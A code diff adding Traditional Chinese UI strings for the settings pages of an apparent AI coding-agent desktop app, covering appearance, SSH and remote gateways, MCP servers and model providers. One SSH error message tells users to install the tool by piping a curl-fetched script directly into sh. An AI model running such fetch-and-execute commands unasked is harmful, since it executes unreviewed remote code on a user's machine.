+          description: '背景終端機指令已完成。'
+        },
+        credits: {
+          label: '額度提醒',
+          description: '額度存取被暫停或恢復。'
+        },
+        plugin: {
+          label: '外掛通知',
+          description: 'ClawCodex 在背景時，桌面外掛傳送了通知。'
+        }
+      },
+      test: '傳送測試通知',
+      testTitle: 'ClawCodex',
+      testBody: '通知運作正常。',
+      testSent: '測試已傳送。若沒有出現，請檢查系統通知權限與專注模式／勿擾模式。',
+      testUnsupported: '此系統不支援原生通知。',
+      completionSoundTitle: '完成提示音',
+      completionSoundDesc: '代理回合結束時播放。可在此選擇預設並預覽。',
+      completionSoundPreview: '預覽'
+    },
+    sections: {
+      model: '模型',
+      chat: '聊天',
+      appearance: '外觀',
+      workspace: '工作區',
+      safety: '安全性',
+      memory: '記憶與上下文',
+      voice: '語音',
+      advanced: '進階'
+    },
+    searchPlaceholder: {
+      about: '關於 ClawCodex Desktop',
+      config: '搜尋設定…',
+      gateway: '閘道連線…',
+      keys: '搜尋 API 金鑰…',
+      mcp: '搜尋 MCP 伺服器…',
+      sessions: '搜尋已封存工作階段…'
+    },
+    modeOptions: {
+      light: { label: '明亮', description: '明亮的桌面介面' },
+      dark: { label: '深色', description: '降低眩光的工作區' },
+      system: { label: '跟隨系統', description: '跟隨作業系統外觀' }
+    },
+    appearance: {
+      title: '外觀',
+      intro: '這些是僅限桌面端的顯示偏好。模式控制亮度；主題控制強調色與聊天介面樣式。',
+      colorMode: '色彩模式',
+      colorModeDesc: '選擇固定模式，或讓 ClawCodex 跟隨系統設定。',
+      toolViewTitle: '工具呼叫顯示',
+      toolViewDesc: '產品模式會隱藏原始工具 payload；技術模式會顯示完整輸入/輸出。',
+      uiScaleTitle: '介面縮放',
+      uiScaleDesc: (percent: number) =>
+        `縮放整個應用程式的文字與介面。也可使用 Cmd/Ctrl 加 +、- 或 0 調整。目前：${percent}%`,
+      terminalFontTitle: '終端機字型',
+      terminalFontDesc:
+        '選擇已安裝的字型用於桌面端終端機。Nerd Font 可正確顯示 Powerlevel10k 與 Shell 圖示；留空則使用內建的 JetBrains Mono。',
+      terminalFontPlaceholder: 'MesloLGS NF 或 CSS 字型堆疊',
+      terminalFontPreview: '字形預覽',
+      terminalFontReset: '使用預設字型',
+      translucencyTitle: '視窗透明',
+      translucencyDesc: '讓整個視窗透出桌面。僅支援 macOS 與 Windows。',
+      backdropTitle: '聊天背景',
+      backdropDesc: '對話後方那張淡淡的雕像圖片。',
+      reactionsTitle: '訊息回應',
+      reactionsDesc: 'iMessage 風格的表情回應 — 你可以對訊息做出回應，ClawCodex 也能回應你的訊息。',
+      embedsTitle: '內嵌預覽',
+      embedsDesc:
+        '豐富預覽會從第三方網站（YouTube、X 等）載入。詢問會在你允許前顯示佔位符；一律會自動載入；關閉則保留純連結。',
+      embedsAsk: '詢問',
+      embedsAlways: '一律',
+      embedsOff: '關閉',
+      embedsReset: (count: number) => `重設 ${count} 個已允許的服務`,
+      product: '產品',
+      productDesc: '易讀的工具活動與精簡摘要。',
+      technical: '技術',
+      technicalDesc: '包含原始工具參數、結果與底層細節。',
+      themeTitle: '主題',
+      themeDesc: '僅限桌面端的調色盤。所選模式會套用在其上。',
+      themeProfileNote: profile => `已為「${profile}」設定檔儲存——每個設定檔保留各自的主題。`,
+      installTitle: '從 VS Code 安裝',
+      installDesc: '貼上 Marketplace 擴充功能 ID（例如 dracula-theme.theme-dracula），將其配色主題轉換為桌面調色盤。',
+      installPlaceholder: 'publisher.extension',
+      installButton: '安裝',
+      installing: '安裝中…',
+      installError: '無法安裝該主題。',
+      installed: name => `已安裝「${name}」。`,
+      removeTheme: '移除主題',
+      importedBadge: '已匯入',
+      pet: {
+        title: '寵物',
+        intro:
+          '領養一隻懸浮在應用上的 petdex 動畫寵物，它會根據 ClawCodex 的狀態做出反應——工具執行時奔跑、成功時歡呼、出錯時沮喪。',
+        restartHint: '寵物功能需要重新啟動——目前執行的應用在此功能加入前啟動。請結束並重新開啟 ClawCodex，然後回到此處。',
+        scaleTitle: '大小',
+        scaleDesc: '調整懸浮寵物的大小，所有介面即時生效。',
+        roamTitle: '漫遊',
+        roamDesc: '閒置時讓寵物自己在視窗內四處走動。',
+        on: '開啟',
+        off: '關閉',
+        chooseTitle: '選擇寵物',
+        chooseDesc: '選擇後會自動安裝（如需）並設為目前寵物。',
+        searchPlaceholder: '搜尋寵物…',
+        unreachable: '無法連線至 petdex 畫廊。請檢查網路連線並重新開啟此頁面。',
+        noMatch: query => `沒有符合「${query}」的寵物。`,
+        installedTag: '已安裝',
+        generatedTag: '生成',
+        countCapped: (cap, total) => `顯示 ${total} 個中的 ${cap} 個——輸入關鍵字以縮小範圍。`,
+        count: n => `${n} 個寵物。`,
+        uninstall: name => `解除安裝 ${name}`,
+        delete: name => `刪除 ${name}`,
+        deleteTitle: name => `刪除 ${name}？`,
+        deleteBody: '此操作會永久刪除寵物，且無法重新安裝。',
+        deleteConfirm: '刪除',
+        rename: name => `重新命名 ${name}`,
+        renameTitle: '重新命名寵物',
+        renamePlaceholder: '為寵物取個名字',
+        renameSave: '儲存',
+        exportPet: name => `匯出 ${name}`,
+        adoptFailed: slug => `無法領養 ${slug}`,
+        uninstallFailed: slug => `無法解除安裝 ${slug}`,
+        renameFailed: slug => `無法重新命名 ${slug}`,
+        exportFailed: slug => `無法匯出 ${slug}`,
+        noneAvailable: '目前沒有可開啟的寵物。',
+        turnOnFailed: '無法開啟寵物。',
+        turnOffFailed: '無法關閉寵物。'
+      }
+    },
+    fieldLabels: defineFieldCopy({
+      model: '預設模型',
+      modelContextLength: '上下文視窗',
+      fallbackProviders: '備用模型',
+      toolsets: '已啟用工具集',
+      timezone: '時區',
+      display: {
+        personality: '人格',
+        showReasoning: '推理區塊'
+      },
+      desktop: {
+        repoScanEnabled: '自動探索程式碼儲存庫',
+        repoScanRoots: '程式碼儲存庫掃描根目錄',
+        repoScanExcludePaths: '排除的程式碼儲存庫路徑'
+      },
+      agent: {
+        maxTurns: '最大代理步數',
+        imageInputMode: '圖片附件',
+        apiMaxRetries: 'API 重試次數',
+        serviceTier: '服務層級',
+        toolUseEnforcement: '工具使用強制'
+      },
+      terminal: {
+        cwd: '工作目錄',
+        backend: '執行後端',
+        timeout: '指令逾時',
+        persistentShell: '持久化 Shell',
+        envPassthrough: '環境變數傳遞',
+        dockerImage: 'Docker 映像',
+        singularityImage: 'Singularity 映像',
+        modalImage: 'Modal 映像',
+        daytonaImage: 'Daytona 映像'
+      },
+      fileReadMaxChars: '檔案讀取上限',
+      toolOutput: {
+        maxBytes: '終端機輸出上限',
+        maxLines: '檔案頁面上限',
+        maxLineLength: '行長上限'
+      },
+      codeExecution: {
+        mode: '程式碼執行模式'
+      },
+      approvals: {
+        mode: '批准模式',
+        timeout: '批准逾時',
+        mcpReloadConfirm: '確認 MCP 重新載入'
+      },
+      commandAllowlist: '指令允許清單',
+      security: {
+        redactSecrets: '遮蔽密鑰',
+        allowPrivateUrls: '允許私有 URL'
+      },
+      browser: {
+        allowPrivateUrls: '瀏覽器私有 URL',
+        autoLocalForPrivateUrls: '私有 URL 使用本機瀏覽器'
+      },
+      checkpoints: {
+        enabled: '檔案檢查點',
+        maxSnapshots: '檢查點上限'
+      },
+      voice: {
+        recordKey: '語音快捷鍵',
+        maxRecordingSeconds: '最長錄音時間',
+        autoTts: '朗讀回覆'
+      },
+      stt: {
+        enabled: '語音轉文字',
+        provider: '語音轉文字提供方',
+        local: {
+          model: '本機轉寫模型',
+          language: '轉寫語言'
+        },
+        openai: {
+          model: 'OpenAI STT 模型'
+        },
+        groq: {
+          model: 'Groq STT 模型'
+        },
+        mistral: {
+          model: 'Mistral STT 模型'
+        },
+        elevenlabs: {
+          modelId: 'ElevenLabs STT 模型',
+          languageCode: 'ElevenLabs 語言',
+          tagAudioEvents: '標記音訊事件',
+          diarize: '說話者分離'
+        }
+      },
+      tts: {
+        provider: '文字轉語音提供方',
+        edge: {
+          voice: 'Edge 語音'
+        },
+        openai: {
+          model: 'OpenAI TTS 模型',
+          voice: 'OpenAI 語音'
+        },
+        elevenlabs: {
+          voiceId: 'ElevenLabs 語音',
+          modelId: 'ElevenLabs 模型'
+        },
+        xai: {
+          voiceId: 'xAI (Grok) 語音',
+          language: 'xAI 語言',
+          speed: '播放速度',
+          autoSpeechTags: '自動語音標籤',
+          optimizeStreamingLatency: '串流延遲最佳化',
+          sampleRate: '取樣率',
+          bitRate: '位元率'
+        },
+        minimax: {
+          model: 'MiniMax TTS 模型',
+          voiceId: 'MiniMax 語音'
+        },
+        mistral: {
+          model: 'Mistral TTS 模型',
+          voiceId: 'Mistral 語音'
+        },
+        gemini: {
+          model: 'Gemini TTS 模型',
+          voice: 'Gemini 語音'
+        },
+        neutts: {
+          model: 'NeuTTS 模型',
+          device: 'NeuTTS 裝置'
+        },
+        kittentts: {
+          model: 'KittenTTS 模型',
+          voice: 'KittenTTS 語音'
+        },
+        piper: {
+          voice: 'Piper 語音'
+        }
+      },
+      memory: {
+        memoryEnabled: '持久記憶',
+        userProfileEnabled: '使用者設定檔',
+        memoryCharLimit: '記憶預算',
+        userCharLimit: '設定檔預算',
+        provider: '記憶提供方'
+      },
+      context: {
+        engine: '上下文引擎'
+      },
+      compression: {
+        enabled: '自動壓縮',
+        threshold: '壓縮閾值',
+        targetRatio: '壓縮目標',
+        protectLastN: '保護最近訊息'
+      },
+      delegation: {
+        model: '子代理模型',
+        provider: '子代理提供方',
+        maxIterations: '子代理輪次上限',
+        maxConcurrentChildren: '平行子代理',
+        childTimeoutSeconds: '子代理逾時',
+        reasoningEffort: '子代理推理強度'
+      },
+      updates: {
+        nonInteractiveLocalChanges: '應用程式內更新的本機變更'
+      }
+    }),
+    fieldDescriptions: defineFieldCopy({
+      model: '除非你在輸入框選擇其他模型，否則新聊天會使用此模型。',
+      modelContextLength: '保留 0 會使用所選模型偵測到的上下文視窗。',
+      fallbackProviders: '預設模型失敗時要嘗試的備用 provider:model 項目。',
+      display: {
+        personality: '新工作階段的預設助手風格。',
+        showReasoning: '後端提供推理內容時顯示該區塊。'
+      },
+      desktop: {
+        repoScanEnabled: '掃描本機資料夾，並在「專案」中顯示 Git 程式碼儲存庫。',
+        repoScanRoots: '要掃描的資料夾。留空時掃描主目錄。',
+        repoScanExcludePaths: '探索程式碼儲存庫時略過這些資料夾及其子目錄。'
+      },
+      timezone: 'ClawCodex 需要本機時間上下文時使用。留空則使用系統時區。',
+      agent: {
+        imageInputMode: '控制圖片附件如何傳送給模型。',
+        maxTurns: 'ClawCodex 停止一次執行前的工具呼叫輪次上限。'
+      },
+      terminal: {
+        cwd: '工具與終端機操作的預設專案資料夾。',
+        persistentShell: '後端支援時，在指令之間保留 Shell 狀態。',
+        envPassthrough: '傳入工具執行的環境變數。'
+      },
+      codeExecution: {
+        mode: '程式碼執行被限制在目前專案中的嚴格程度。'
+      },
+      fileReadMaxChars: 'ClawCodex 單次檔案讀取可讀取的最大字元數。',
+      approvals: {
+        mode: 'ClawCodex 如何處理需要明確批准的指令。',
+        timeout: '批准提示逾時前等待的時間。'
+      },
+      security: {
+        redactSecrets: '盡可能從模型可見內容中隱藏偵測到的密鑰。'
+      },
+      checkpoints: {
+        enabled: '在檔案編輯前建立可回復的快照。'
+      },
+      memory: {
+        memoryEnabled: '儲存有助於未來工作階段的持久記憶。',
+        userProfileEnabled: '維護一份精簡的使用者偏好設定檔。'
+      },
+      context: {
+        engine: '長對話接近上下文上限時的管理策略。'
+      },
+      compression: {
+        enabled: '對話變大時摘要較早的上下文。'
+      },
+      voice: {
+        autoTts: '自動朗讀助手回覆。'
+      },
+      stt: {
+        enabled: '啟用本機或提供方支援的語音轉寫。',
+        elevenlabs: {
+          languageCode: '可選的 ISO-639-3 語言代碼。留空讓 ElevenLabs 自動偵測。'
+        }
+      },
+      updates: {
+        nonInteractiveLocalChanges:
+          'ClawCodex 從應用程式內更新自身時，保留本機原始碼變更（stash）或丟棄（discard）。終端機更新一律會詢問。'
+      }
+    }),
+    about: {
+      heading: 'ClawCodex Desktop',
+      version: value => `版本 ${value}`,
+      versionUnavailable: '版本不可用',
+      updates: '更新',
+      checkNow: '立即檢查',
+      checking: '檢查中…',
+      seeWhatsNew: '查看新增內容',
+      updateNow: '立即更新',
+      releaseNotes: '發行說明',
+      onLatest: '你已是最新版本。',
+      installing: '正在安裝更新。',
+      cantUpdate: '此版本無法從應用程式內自行更新。',
+      cantReach: '無法連線到更新伺服器。',
+      tapCheck: '點選「立即檢查」以尋找更新。',
+      updateReady: count => `新更新已就緒（包含 ${count} 項變更）。`,
+      lastChecked: age => `上次檢查：${age}`,
+      justNowSuffix: ' · 剛剛',
+      automaticUpdates: '自動更新',
+      automaticUpdatesDesc: 'ClawCodex 會在背景自動檢查更新，並在有可用更新時通知你。',
+      branchCommit: (branch, commit) => `分支 ${branch} · 提交 ${commit}`,
+      never: '從未',
+      justNow: '剛剛',
+      minAgo: count => `${count} 分鐘前`,
+      hoursAgo: count => `${count} 小時前`,
+      daysAgo: count => `${count} 天前`
+    },
+    config: {
+      none: '無',
+      noneParen: '(無)',
+      builtinOnly: '僅內建',
+      notSet: '未設定',
+      commaSeparated: '逗號分隔的值',
+      searchPlaceholder: '搜尋…',
+      noResults: '找不到結果',
+      systemDefault: '系統預設',
+      loading: '正在載入 ClawCodex 設定...',
+      emptyTitle: '無可設定項目',
+      emptyDesc: '此區段沒有可調整的設定。',
+      failedLoad: '設定載入失敗',
+      autosaveFailed: '自動儲存失敗',
+      imported: '設定已匯入',
+      invalidJson: '設定 JSON 無效',
+      keepAwakeTitle: '保持電腦喚醒',
+      keepAwakeDesc: '阻止本機睡眠，讓長時間或整夜執行持續進行。螢幕仍可變暗。'
+    },
+    quickEntry: {
+      enabledTitle: '快速輸入',
+      enabledDesc: '用全域快速鍵在任何地方喚出一個小輸入框，無需開啟 ClawCodex 即可送出提示。',
+      shortcutTitle: '快速輸入快速鍵',
+      shortcutDesc: '至少需要一個修飾鍵，例如 CommandOrControl+Shift+Space。',
+      active: '快速鍵已生效。',
+      takenBy: '此快速鍵已被其他應用程式占用，請換一個。',
+      invalidShortcut: '不是有效的快速鍵。請至少包含一個修飾鍵。'
+    },
+    credentials: {
+      pasteKey: '貼上金鑰',
+      pasteLabelKey: label => `貼上 ${label} 金鑰`,
+      optional: '選填',
+      enterValueFirst: '請先輸入一個值。',
+      couldNotSave: '無法儲存憑證。',
+      remove: '移除',
+      getKey: '取得金鑰',
+      saving: '儲存中'
+    },
+    envActions: {
+      actions: '動作',
+      manageInKeys: '在 API 金鑰中管理',
+      docs: '文件',
+      hideValue: '隱藏值',
+      revealValue: '顯示值',
+      replace: '取代',
+      set: '設定',
+      clear: '清除'
+    },
+    gateway: {
+      loading: '正在載入閘道設定...',
+      unavailableTitle: '閘道設定不可用',
+      unavailableDesc: '桌面 IPC 橋接器未公開閘道設定。',
+      title: '閘道連線',
+      envOverride: '環境變數覆寫',
+      intro:
+        'ClawCodex Desktop 預設會啟動自己的本機閘道。如果您希望此應用程式控制另一台機器或可信代理後面已執行的 ClawCodex 後端，請使用遠端閘道。在下方按設定檔指定各自的遠端主機。',
+      appliesTo: '套用至',
+      allProfiles: '全部設定檔',
+      defaultConnection: '預設連線適用於所有沒有自訂覆寫的設定檔。',
+      profileConnection: profile => `僅當「${profile}」為作用中設定檔時使用此連線。選擇「使用預設閘道」可移除其覆寫。`,
+      envOverrideTitle: '環境變數正在控制此桌面工作階段。',
+      envOverrideDesc: '取消設定 CLAWCODEX_DESKTOP_REMOTE_URL 和 CLAWCODEX_DESKTOP_REMOTE_TOKEN 後才會使用下方儲存的設定。',
+      localTitle: '本機閘道',
+      localDesc: '在 localhost 啟動私有 ClawCodex 後端。這是預設方式，可離線使用。',
+      inheritTitle: '使用預設閘道',
+      inheritDesc: '移除此設定檔的自訂覆寫並使用預設連線。',
+      remoteTitle: '遠端閘道',
+      remoteDesc:
+        '將此桌面殼層連線至遠端 ClawCodex 後端。託管閘道使用 OAuth 或帳號密碼；自託管閘道也可使用工作階段 Token。',
+      remoteUrlTitle: '遠端 URL',
+      remoteUrlDesc: '遠端儀表板後端的基礎 URL。支援路徑前綴，例如 /clawcodex。',
+      probing: '正在檢查此閘道的驗證方式…',
+      probeError: '暫時無法連線此閘道。請檢查 URL；閘道回應後將顯示驗證方式。',
+      signedIn: '已登入',
+      signIn: '登入',
+      signOut: '登出',
+      signInWith: provider => `使用 ${provider} 登入`,
+      authTitle: '驗證',
+      authSignedInPassword: '此閘道使用帳號和密碼。您已登入，工作階段會自動重新整理。',
+      authSignedInOauth: '此閘道使用 OAuth。您已登入，工作階段會自動重新整理。',
+      authNeedsPassword: '此閘道使用帳號和密碼。請登入以授權此桌面應用程式。',
+      authNeedsOauth: provider => `此閘道使用 OAuth。請使用 ${provider} 登入以授權此桌面應用程式。`,
+      tokenTitle: '工作階段 Token',
+      tokenDesc: '用於 REST 和 WebSocket 存取的儀表板工作階段 Token。留空則保留已儲存的 Token。',
+      existingToken: value => `現有 Token ${value}`,
+      savedToken: '已儲存',
+      pasteSessionToken: '貼上工作階段 Token',
+      testRemote: '測試遠端',
+      saveForRestart: '儲存至下次重新啟動',
+      saveAndReconnect: '儲存並重新連線',
+      diagnostics: '診斷',
+      diagnosticsDesc: '在檔案管理員中顯示 desktop.log，閘道啟動失敗時很有用。',
+      openLogs: '開啟記錄',
+      incompleteTitle: '遠端閘道設定不完整',
+      incompleteSignIn: '切換至遠端前，請輸入遠端 URL 並完成登入。',
+      incompleteToken: '切換至遠端前，請輸入遠端 URL 和工作階段 Token。',
+      incompleteSignInTest: '測試前，請輸入遠端 URL 並完成登入。',
+      incompleteTokenTest: '測試前，請輸入遠端 URL 和工作階段 Token。',
+      enterUrlFirst: '請先輸入遠端 URL。',
+      restartingTitle: '閘道連線正在重新啟動',
+      savedTitle: '閘道設定已儲存',
+      restartingMessage: 'ClawCodex Desktop 將使用已儲存的設定重新連線。',
+      savedMessage: '已儲存，下次重新啟動後生效。',
+      connectedTo: (baseUrl, version) => `已連線至 ${baseUrl}${version ? ` · ClawCodex ${version}` : ''}`,
+      reachableTitle: '遠端閘道可連線',
+      signedOutTitle: '已登出',
+      signedOutMessage: '已清除遠端閘道工作階段。',
+      failedLoad: '閘道設定載入失敗',
+      signInFailed: '登入失敗',
+      signOutFailed: '登出失敗',
+      testFailed: '遠端閘道測試失敗',
+      applyFailed: '無法套用閘道設定',
+      saveFailed: '無法儲存閘道設定',
+      sshTitle: '透過 SSH 連線',
+      sshDesc:
+        'ClawCodex 會透過 SSH 在遠端啟動並以通道連線到本應用程式——無需自行啟動或公開任何服務。前提：已具備到該主機的金鑰 SSH 存取。',
+      sshTrustHint: '首次提供的主機金鑰會被信任並固定；後續變更將被拒絕。',
+      sshHostTitle: '主機',
+      sshHostDesc: 'user@host，或 ~/.ssh/config 中的 Host 別名。',
+      sshHostPick: '選擇主機…',
+      sshHostPickTitle: '主機',
+      sshHostPickDesc: '~/.ssh/config 中的 Host 別名，或選擇「自訂」手動輸入。',
+      sshHostCustom: '自訂（手動輸入）…',
+      sshUserTitle: '使用者',
+      sshUserDesc: '留空 = ~/.ssh/config 或目前使用者。',
+      sshUserPlaceholder: '來自 ~/.ssh/config',
+      sshPortTitle: '連接埠',
+      sshPortDesc: '留空 = 22 或 ~/.ssh/config 中的連接埠。',
+      sshKeyTitle: '金鑰檔案',
+      sshKeyDesc: '私密金鑰路徑。留空 = ssh-agent 或 ~/.ssh/config。',
+      sshClawCodexPathTitle: 'ClawCodex 路徑（選用）',
+      sshClawCodexPathDesc: '遠端 clawcodex 執行檔的完整路徑。留空 = 自動偵測。',
+      sshClawCodexPathPlaceholder: '自動偵測',
+      sshRemoteProfileTitle: '遠端設定檔（選用）',
+      sshRemoteProfileDesc: '遠端主機上的設定檔名稱。留空 = 使用 Desktop 設定檔名稱。',
+      sshTestConnection: '測試 SSH',
+      sshConnect: '連線',
+      sshButtonsHint: '「儲存」會在下次啟動時生效，「連線」則立即重新連線。',
+      sshReachable: (host, platform) => `可連線：${host}（${platform}）——已找到 ClawCodex`,
+      sshIncompleteHost: '連線前請輸入 SSH 主機。',
+      sshErrUnreachable: '無法透過 SSH 連線到該主機。請檢查主機、連接埠和網路。',
+      sshErrAuth:
+        'SSH 驗證失敗。請將金鑰載入 ssh-agent（ssh-add），或在 ~/.ssh/config 中設定 IdentityFile——ClawCodex 以非互動方式執行 ssh。',
+      sshErrHostKey: '自上次連線以來主機金鑰已變更。請確認這是預期的，然後執行 ssh-keygen -R <host> 並重新連線。',
+      sshErrNotInstalled:
+        '遠端主機上未安裝 ClawCodex。請在遠端安裝（curl -fsSL https://github.com/agentforce314/clawcodex/install.sh | sh）或設定 ClawCodex 路徑。',
+      sshErrPlatform: '不支援的遠端平台。ClawCodex Desktop 的 SSH 模式支援 Linux、macOS 和 Windows 遠端主機。',
+      sshErrTimeout: 'SSH 連線逾時。主機可能無法存取或處於睡眠狀態。',
+      sshErrUpdateRequired: '使用 Desktop SSH 連線前，請更新遠端主機上的 ClawCodex。',
+      sshErrUnknown: 'SSH 連線失敗。'
+    },
+    keys: {
+      loading: '正在載入 API 金鑰和憑證...',
+      failedLoad: 'API 金鑰載入失敗',
+      empty: '此類別尚未有任何設定。'
+    },
+    mcp: {
+      loading: '正在載入 MCP 伺服器...',
+      failedLoad: 'MCP 設定載入失敗',
+      nameRequiredTitle: '需要名稱',
+      nameRequiredMessage: '請為此 MCP 伺服器提供設定鍵。',
+      objectRequired: '伺服器設定必須是 JSON 物件',
+      invalidJson: 'MCP JSON 無效',
+      saveFailed: '儲存失敗',
+      removeFailed: '移除失敗',
+      gatewayUnavailableTitle: '閘道不可用',
+      gatewayUnavailableMessage: '重新載入 MCP 前請先重新連線閘道。',
+      reloadedTitle: 'MCP 工具已重新載入',
+      reloadedMessage: '新的工具 Schema 將套用至後續回合。',
+      reloadFailed: 'MCP 重新載入失敗',
+      savedTitle: 'MCP 伺服器已儲存',
+      savedMessage: name => `${name} 會在 MCP 重新載入後生效。`,
+      newServer: '新伺服器',
+      reload: '重新載入 MCP',
+      reloading: '重新載入中...',
+      emptyTitle: '沒有 MCP 伺服器',
+      emptyDesc: '新增 stdio 或 HTTP 伺服器以公開 MCP 工具。',
+      disabled: '已停用',
+      editServer: '編輯伺服器',
+      name: '名稱',
+      serverJson: '伺服器 JSON',
+      remove: '移除',
+      saveServer: '儲存伺服器',
+      capabilitySummary: (tools, prompts, resources) =>
+        `已啟用 ${[`${tools} 個工具`, ...(prompts ? [`${prompts} 個提示`] : []), ...(resources ? [`${resources} 個資源`] : [])].join('、')}`,
+      statusConnecting: '連線中…',
+      statusNeedsAuth: '需要驗證',
+      statusError: '錯誤',
+      statusOff: '關閉',
+      allServers: '所有伺服器',
+      authenticatedTitle: '已驗證',
+      authenticatedMessage: (server, count) => `${server}：${count} 個工具`,
+      waitingForBrowser: '等待瀏覽器…',
+      authenticate: '驗證',
+      unsavedConnect: '未儲存 — 儲存 mcp.json 以連線。',
+      enableTool: tool => `啟用 ${tool}`,
+      disableTool: tool => `停用 ${tool}`,
+      noOutput: '尚無輸出。'
+    },
+    model: {
+      loading: '正在載入模型設定...',
+      appliesDesc: '套用至新工作階段。可在輸入框的模型選擇器中臨時切換目前對話。',
+      provider: '提供方',
+      model: '模型',
+      applying: '套用中...',
+      auxiliaryTitle: '輔助模型',
+      resetAllToMain: '全部重設為主要模型',
+      auxiliaryDesc: '輔助任務預設使用主要模型。您可以為任何任務指定專用模型。',
+      setToMain: '設為主要模型',
+      change: '變更',
+      autoUseMain: '自動 · 使用主要模型',
+      providerDefault: '(提供方預設)',
+      tasks: {
+        vision: { label: '視覺', hint: '圖片分析' },
+        web_extract: { label: '網頁擷取', hint: '頁面摘要' },
+        compression: { label: '壓縮', hint: '上下文壓縮' },
+        skills_hub: { label: '技能中心', hint: '技能搜尋' },
+        approval: { label: '核准', hint: '智慧自動核准' },
+        mcp: { label: 'MCP', hint: 'MCP 工具路由' },
+        title_generation: { label: '標題生成', hint: '工作階段標題' },
+        curator: { label: '策展器', hint: '技能使用審查' }
+      }
+    },
+    providers: {
+      connectAccount: '連結帳號',
+      haveApiKey: '改用 API 金鑰？',
+      intro: '使用訂閱登入，無需複製 API 金鑰。ClawCodex 會在應用程式中為您完成瀏覽器登入。',
+      connected: '已連線',
+      collapse: '收合',
+      connectAnother: '連結其他提供方',
+      otherProviders: '其他提供方',
+      removeConfirm: provider => `移除 ${provider}？`,
+      removeKeyManaged: provider => `${provider} 由 API 金鑰設定。請從 API Keys 中移除。`,
+      removedTitle: '帳號已移除',
+      removedMessage: provider => `${provider} 已移除。`,
+      failedRemove: provider => `無法移除 ${provider}`,
+      noProviderKeys: '沒有可用的提供方 API 金鑰。',
+      searchKeys: '搜尋提供方…',
+      noKeysMatch: '沒有符合的提供方。',
+      localEndpoint: {
+        title: '本地 / 自訂端點',
+        description: '將 ClawCodex 指向任意 OpenAI 相容端點（Zyphra、vLLM、llama.cpp、Ollama 等）。'
+      },
+      loading: '正在載入提供方...'
+    },
+    sessions: {
+      loading: '正在載入已封存工作階段…',
+      archivedTitle: '已封存工作階段',
+      archivedIntro: '已封存的聊天會從側邊欄隱藏，但保留全部訊息。在側邊欄 Ctrl/⌘ 點擊聊天即可封存。',
+      emptyArchivedTitle: '暫無封存',
+      emptyArchivedDesc: '封存一個聊天後會顯示在這裡。',
+      unarchive: '取消封存',
+      deletePermanently: '永久刪除',
+      messages: count => `${count} 則訊息`,
+      restored: '已還原',
+      deleteConfirm: title => `永久刪除「${title}」？此操作無法復原。`,
+      autoArchiveTitle: '自動封存閒置對話',
+      autoArchiveDesc:
+        '自動封存你一段時間未使用的對話。已釘選的對話永遠不會被封存，也不會刪除任何內容——封存的對話會移到這裡。',
+      autoArchiveDaysLabel: '封存前',
+      autoArchiveDaysUnit: '天無活動',
+      autoArchiveFailed: '無法更新自動封存設定',
+      defaultDirTitle: '預設專案目錄',
+      defaultDirDesc: '新工作階段預設從此資料夾開始，除非您選擇其他目錄。留空則使用您的家目錄。',
+      defaultDirUpdated: '預設專案目錄已更新',
+      defaultsTo: label => `預設使用 ${label}。`,
+      change: '變更',
+      choose: '選擇',
+      clear: '清除',
+      notSet: '未設定',
+      failedLoad: '無法載入已封存工作階段',
+      unarchiveFailed: '取消封存失敗',
+      deleteFailed: '刪除失敗',
+      updateDirFailed: '無法更新預設目錄',
+      clearDirFailed: '無法清除預設目錄'
+    },
+    toolsets: {
+      loadingConfig: '正在載入設定',
+      savedTitle: '憑證已儲存',
+      savedMessage: key => `${key} 已更新。`,
+      removedTitle: '憑證已移除',
+      removedMessage: key => `${key} 已移除。`,
+      failedSave: key => `儲存 ${key} 失敗`,
+      failedRemove: key => `移除 ${key} 失敗`,
+      failedReveal: key => `顯示 ${key} 失敗`,
+      removeConfirm: key => `從 .env 中移除 ${key}？`,
+      set: '已設定',
+      notSet: '未設定',
+      selectedTitle: '已選擇提供方',
+      selectedMessage: provider => `${provider} 現在處於作用中狀態。`,
+      failedSelect: provider => `選擇 ${provider} 失敗`,
+      failedLoad: '工具設定載入失敗',
+      noProviderOptions: '此工具集沒有提供方選項；啟用後即可使用目前設定。',
+      noProviders: '此工具集目前沒有可用提供方。',
+      ready: '就緒',
+      needsSignIn: '需要登入',
+      needsSetup: '需要安裝',
+      activeBackend: '目前後端',
+      activeBackendHint: '這是你目前使用的後端',
+      useBackend: '使用此後端',
+      nousIncluded: '包含在 Nous 訂閱中；登入 Nous Portal 即可啟用。',
+      nousAuthNeededTitle: '登入 Nous Portal',
+      nousAuthNeededMessage: provider => `已儲存 ${provider}，但在登入 Nous Portal 之前不會啟用。`,
+      nousAuthSignIn: '登入',
+      nousAuthDoneTitle: '已連接 Nous Portal',
+      nousAuthDoneMessage: '訂閱後端現已啟用。',
+      nousAuthFailed: 'Nous Portal 登入未完成',
+      noApiKeyRequired: '不需要 API 金鑰。',
+      postSetupHint: step => `此後端需要一次性安裝 (${step})。將在此機器上執行，可能需要幾分鐘。`,
+      postSetupInstalledHint: '已安裝。僅在出現問題時才需要重新執行安裝。',
+      postSetupRun: '執行設定',
+      postSetupRerun: '重新執行設定',
+      postSetupInstalled: '已安裝',
+      postSetupRunning: '安裝中…',
+      postSetupStarting: '啟動中…',
+      postSetupCompleteTitle: '設定完成',
+      postSetupCompleteMessage: step => `已安裝 ${step}。`,
+      postSetupErrorTitle: '設定完成但有錯誤',
+      postSetupErrorMessage: step => `請檢查 ${step} 日誌。`,
+      postSetupFailed: step => `執行 ${step} 設定失敗`,
+      webSearchActive: backend => `搜尋：${backend}`,
+      webExtractActive: backend => `擷取：${backend}`,
+      webCapabilityUnset: '未設定',
+      webUseForSearch: '用於搜尋',
+      webUseForExtract: '用於擷取',
+      webUsedForSearch: '搜尋後端',
+      webUsedForExtract: '擷取後端',
+      webCapabilitySelectedMessage: (provider, capability) =>
+        `${provider} 現在負責網頁${capability === 'search' ? '搜尋' : '擷取'}。`,
+      failedSelectCapability: provider => `無法設定 ${provider}`,
+      terminalBackend: {
+        sectionTitle: '執行後端',
+        loading: '正在檢查執行後端…',
+        failedLoad: '無法載入終端後端',
+        ready: '就緒',
+        needsSetup: '需要設定',
+        unavailable: '不可用',
+        inUse: '使用中',
+        selectedTitle: '已選擇後端',
+        selectedMessage: backend => `終端命令現在透過 ${backend} 執行。將套用於新工作階段。`,
+        failedSelect: backend => `選擇 ${backend} 失敗`,
+        needsSetupHint: '現在即可選擇此後端——但在完成設定前命令將會失敗。'
+      }
+    }
+  },
+
+  skills: {
+    tabSkills: '技能',
+    tabToolsets: '工具集',
+    tabMcp: 'MCP',
+    all: '全部',
+    searchSkills: '搜尋技能...',
